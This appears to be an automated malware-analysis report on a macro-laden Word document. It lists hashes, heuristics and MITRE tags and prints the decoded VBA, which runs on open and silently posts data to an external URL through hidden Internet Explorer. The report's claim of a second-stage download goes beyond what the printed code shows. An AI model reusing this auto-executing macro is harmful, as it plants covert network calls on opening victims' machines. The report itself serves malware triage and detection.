Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 20f8b44649d91696…

MALICIOUS

Office (OLE)

658.0 KB Created: 2018-10-18 12:52:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 3cba4b40abcd7a1d054bc136f48e4446 SHA-1: 86d6769e9e666172ea827c20712ee4913639e395 SHA-256: 20f8b44649d916964520fd7819d95c7ba979fafaa3e155a4b6d1be579ebf9170
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro attempts to execute code using CreateObject, likely to download a second-stage payload from the URL http://anwalts-kanzleien-bern.ch/id0005###################################################################################################################. The document body prompts the user to enable content and macros, indicating a social engineering lure.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://anwalts-kanzleien-bern.ch/id0005################################################################################################################### In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6315 bytes
SHA-256: 20594179a226855be310f1bf88c2301c668a80d117f1146e8d10b3f00a0c1063
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Option Explicit
'Option Base 0
 
Const MAX_ATTEMPTS = 3
Const CONNECTION_TIMEOUT = 60
Const HTTP_READY = 4
 
' Run process
Sub RunProcess(sURL)
    Dim lAttempt, tmr
    
    If InStr(1, sURL, "%lucy_url%") > 0 Then
        Exit Sub
    End If

    lAttempt = 0
    
    ' Post data
    While IEPostData(sURL, "data=RHVtbXkgZGF0YSBmcm9tIEhUVFAtb25seSBtYWNybw==") = False And lAttempt < MAX_ATTEMPTS
        tmr = Timer()

        Do
        Loop Until (Timer() - tmr) > 1

        lAttempt = lAttempt + 1
    Wend
    
    On Error Resume Next
End Sub
 
' IE post data
Function IEPostData(sURL, sData)
    On Error Resume Next

    Dim dtmp, objIE
    Dim bData() As Byte
    
    ReDim bData(Len(sData) - 1)
    bData = StrConv(sData, vbFromUnicode)
    
    Set objIE = CreateObject("InternetExplorer.Application")
    objIE.Visible = False
    objIE.Navigate sURL, Nothing, Nothing, bData, "Content-Type: application/x-www-form-urlencoded" + Chr(10) + Chr(13)
    
    dtmp = Timer()

    Do
    Loop Until (Not objIE.busy And objIE.ReadyState = HTTP_READY) Or (Timer() - dtmp) > CONNECTION_TIMEOUT
    
    IEPostData = (Not objIE.busy And objIE.ReadyState = HTTP_READY)
    
    objIE.Quit
    Set objIE = Nothing
End Function

' Clean variable string
Function Clean(data)
    If InStr(1, data, "#") > 0 Then
        Clean = Left(data, InStr(1, data, "#") - 1)
    Else
        Clean = data
    End If
End Function

' Main function
Sub AutoOpen()
    Dim sURL
 
    sURL = "http://anwalts-kanzleien-bern.ch/id0005###################################################################################################################"
 
    RunProcess Clean(sURL)
End Sub

''
' Processing file: /opt/analyzer/scan_staging/36331bb9fb4d434ba53b6823531ead0e.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1073 bytes
' Macros/VBA/NewMacros - 4778 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' 	QuoteRem 0x0000 0x000D "Option Base 0"
' Line #2:
' Line #3:
' 	Dim (Const) 
' 	LitDI2 0x0003 
' 	VarDefn Office
' Line #4:
' 	Dim (Const) 
' 	LitDI2 0x003C 
' 	VarDefn ThisDocument
' Line #5:
' 	Dim (Const) 
' 	LitDI2 0x0004 
' 	VarDefn _Evaluate
' Line #6:
' Line #7:
' 	QuoteRem 0x0000 0x000C " Run process"
' Line #8:
' 	FuncDefn (Sub NewMacros(MAX_ATTEMPTS))
' Line #9:
' 	Dim 
' 	VarDefn CONNECTION_TIMEOUT
' 	VarDefn HTTP_READY
' Line #10:
' Line #11:
' 	LitDI2 0x0001 
' 	Ld MAX_ATTEMPTS 
' 	LitStr 0x000A "%lucy_url%"
' 	FnInStr3 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #12:
' 	ExitSub 
' Line #13:
' 	EndIfBlock 
' Line #14:
' Line #15:
' 	LitDI2 0x0000 
' 	St CONNECTION_TIMEOUT 
' Line #16:
' Line #17:
' 	QuoteRem 0x0004 0x000A " Post data"
' Line #18:
' 	Ld MAX_ATTEMPTS 
' 	LitStr 0x0031 "data=RHVtbXkgZGF0YSBmcm9tIEhUVFAtb25seSBtYWNybw=="
' 	ArgsLd RunProcess 0x0002 
' 	LitVarSpecial (False)
' 	Eq 
' 	Ld CONNECTION_TIMEOUT 
' 	Ld Office 
' 	Lt 
' 	And 
' 	While 
' Line #19:
' 	ArgsLd sURL 0x0000 
' 	St HTTP_READY 
' Line #20:
' Line #21:
' 	Do 
' Line #22:
' 	ArgsLd sURL 0x0000 
' 	Ld HTTP_READY 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0001 
' 	Gt 
' 	LoopUntil 
' Line #23:
' Line #24:
' 	Ld CONNECTION_TIMEOUT 
' 	LitDI2 0x0001 
' 	Add 
' 	St CONNECTION_TIMEOUT 
' Line #25:
' 	Wend 
' Line #26:
' Line #27:
' 	OnError (Resume Next) 
' Line #28:
' 	EndSub 
' Line #29:
' Line #30:
' 	QuoteRem 0x0000 0x000D " IE post data"
' Line #31:
' 	FuncDefn (Function RunProcess(MAX_ATTEMPTS, lAttempt))
' Line #32:
' 	OnError (Resume Next) 
' Line #33:
' Line #34:
' 	Dim 
' 	VarDefn tmr
' 	VarDefn IEPostData
' Line #35:
' 	Dim 
' 	VarDefn Timer (As Byte)
' Line #36:
' Line #37:
' 	OptionBase 
' 	Ld lAttempt 
' 	FnLen 
' 	LitDI2 0x0001 
' 	Sub 
' 	Redim Timer 0x0001 (As Variant)
' Line #38:
'
... (truncated)

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